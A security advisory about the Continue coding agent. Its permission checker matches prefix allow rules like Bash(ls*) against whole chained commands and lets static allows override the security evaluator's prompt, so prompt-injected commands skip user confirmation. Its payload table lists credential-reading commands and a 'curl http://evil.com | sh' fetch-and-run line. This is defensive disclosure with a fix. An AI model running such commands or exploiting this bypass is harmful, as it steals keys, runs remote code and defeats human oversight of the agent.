HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask
Summary
When a user configures an allow rule like Bash(ls*) for the terminal tool, the permission checker converts the pattern to regex ^ls.*$ and tests it against the entire command string — including chained commands after ;, &&, or |. Additionally, checkToolPermission implements a "user preference wins" policy: if the static rule says allow, the dynamic security evaluator's ask recommendation is overridden.
Combined effect: approving ls -la permanently auto-approves any command starting with ls — including ls; cat /etc/passwd, ls && find /home -name .env, or ls; curl http://evil.com | sh.
Root cause
Static pattern matching (
permissionChecker.ts:42-57):Bash(ls*)→ regex^ls.*$tested against the FULL command string, not just the first command.Dynamic evaluator override (
permissionChecker.ts:161-174):checkToolPermissionimplements "user preference wins" — if the static rule saysallow, the dynamic security evaluator'saskis discarded:if (evaluatedPolicy === "disabled") { return "exclude"; } return { permission: basePermission }; // static allow overrides evaluator "ask"No compound-command splitting (
tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.
Reproduction (fully offline)
import { evaluateTerminalCommandSecurity } from "packages/terminal-security/src/evaluateTerminalCommandSecurity.ts";
// User config: Bash(ls*) -> allow
// The static rule matches the ENTIRE command:
const matches = new RegExp("^ls.*$").test("ls; cat /etc/passwd"); // true
// Dynamic evaluator says "ask":
const dynamic = evaluateTerminalCommandSecurity("allowedWithPermission", "ls; cat /etc/passwd");
// -> "allowedWithPermission"
// But "user preference wins" overrides:
// -> final permission = "allow" -> executes without promptingTested payloads (all with base policy Bash(ls*) -> allow):
| command | static match | dynamic evaluator | final | effect |
|---|---|---|---|---|
ls |
✅ allow | — | AUTO-EXEC | ✓ safe |
ls; cat /etc/passwd |
✅ allow | ask | AUTO-EXEC | reads /etc/passwd |
ls && find /home -name .env |
✅ allow | ask | AUTO-EXEC | credential discovery |
ls; cat ~/.ssh/id_rsa |
✅ allow | ask | AUTO-EXEC | SSH key theft |
ls; curl http://evil.com | sh |
✅ allow | ask | AUTO-EXEC | RCE |
ls; python3 -c 'import os; os.system("…")' |
✅ allow | ask | AUTO-EXEC | RCE |
Impact
Once a user approves a benign prefix command (e.g., ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.
Suggested fix
- Split compound commands on
;,&&,||before pattern matching (as Continue's ownevaluateTerminalCommandSecurityalready does for its dynamic evaluator) - Match each sub-command independently against the static rules
- If any sub-command fails to match the allow rule, require explicit approval for the full command
Credit
Chengzhi Yi — [email protected] — GitHub: @Tardfyou
Source: continuedev/continue